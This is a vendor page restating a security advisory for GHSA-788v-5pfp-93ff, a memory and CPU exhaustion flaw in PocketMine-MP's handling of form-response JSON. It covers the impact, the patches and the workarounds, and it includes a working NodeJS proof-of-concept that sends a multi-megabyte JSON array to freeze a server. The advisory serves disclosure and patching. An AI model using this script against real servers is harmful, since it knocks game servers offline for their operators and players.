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GHSA-788v-5pfp-93ff pocketmine/pocketmine-mp

Fix: pmmp/PocketMine-MP@cef1088

GHSA-788v-5pfp-93ff is a Uncontrolled Resource Consumption vulnerability in pocketmine/pocketmine-mp. A fix is available for pocketmine/pocketmine-mp — see the affected versions and patch details below.

PocketMine-MP: JSON decoding of unlimited size large arrays/objects in ModalFormResponse Handling

Also known asCVE-2026-86204
Published
Apr 6, 2026
Updated
Sep 10, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-788v-5pfp-93ff.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs31th percentile — riskier than 31% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected
🐘pocketmine/pocketmine-mp

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Impact

The server does not meaningfully limit the size of the JSON payload in ModalFormResponsePacket. This can be abused by an attacker to waste memory and CPU on an affected server, e.g. by sending arrays with millions of elements.

The player must have a full session on the server (i.e. spawned in the world) to exploit this, as form responses are not handled unless the player is in game.

Patches

The issue was fixed in two parts:

  • cef1088341e40ee7a6fa079bca47a84f3524d877 limits the size of a single form response to 10 KB, which is well above expected size, but low enough to prevent abuse
  • f983f4f66d5e72d7a07109c8175799ab0ee771d5 avoids decoding the form response if there is no form associated with the given ID

Workarounds

This issue can be worked around in a plugin using DataPacketReceiveEvent by:

  • checking the max size of the formData field
  • making sure the form ID is not repeated

However, a full workaround for the issue would require reflection to access the Player->forms property, which is not exposed via any accessible API prior to 5.39.2.

PoC

  1. Join a PocketMine-MP server as a regular player (no special permissions needed).

  2. Use a modified client or packet-sending script to send a ModalFormResponsePacket with:

    • Any non-existent formId
    • formData containing a massive JSON array (e.g., 10+ MB payload).
  3. The server will attempt to parse the JSON and may freeze or become unresponsive.

Example NodeJS pseudocode:

import { createClient } from 'bedrock-protocol';

const host = '127.0.0.1';
const port = 19132;
const username = 'Test';

const client = createClient({
  host,
  port,
  username,
  offline: true
});

const hugePayload = '[' + '0,'.repeat(5_000_000) + '0]';

client.on('spawn', () => {
  console.log('[*] Connected & spawned. Sending malicious packet...');

  client.write('modal_form_response', {
    formId: 9999,       // Form inexistant
    formData: hugePayload // JSON énorme
  });

  console.log('[*] Packet sent. The server should start freezing shortly.');
});

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistpocketmine/pocketmine-mpall versions5.39.2composer require pocketmine/pocketmine-mp:^5.39.2

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pocketmine/pocketmine-mp, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update pocketmine/pocketmine-mp to 5.39.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-788v-5pfp-93ff is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-788v-5pfp-93ff can be triaged on real exposure rather than presence alone.

Tailored to GHSA-788v-5pfp-93ff. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Impact The server does not meaningfully limit the size of the JSON payload in `ModalFormResponsePacket`. This can be abused by an attacker to waste memory and CPU on an affected server, e.g. by sending arrays with millions of elements. The player must have a full session on the server (i.e. spawned in the world) to exploit this, as form responses are not handled unless the player is in game. ### Patches The issue was fixed in two parts: - cef1088341e40ee7a6fa079bca47a84f3524d877 limits the size of a single form response to 10 KB, which is well above expected size, but low enough to prev
O3 Security · Impact-Aware SCA

Is GHSA-788v-5pfp-93ff in your dependencies?

O3 Security finds GHSA-788v-5pfp-93ff across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-788v-5pfp-93ff: vulnerability details | O3 Security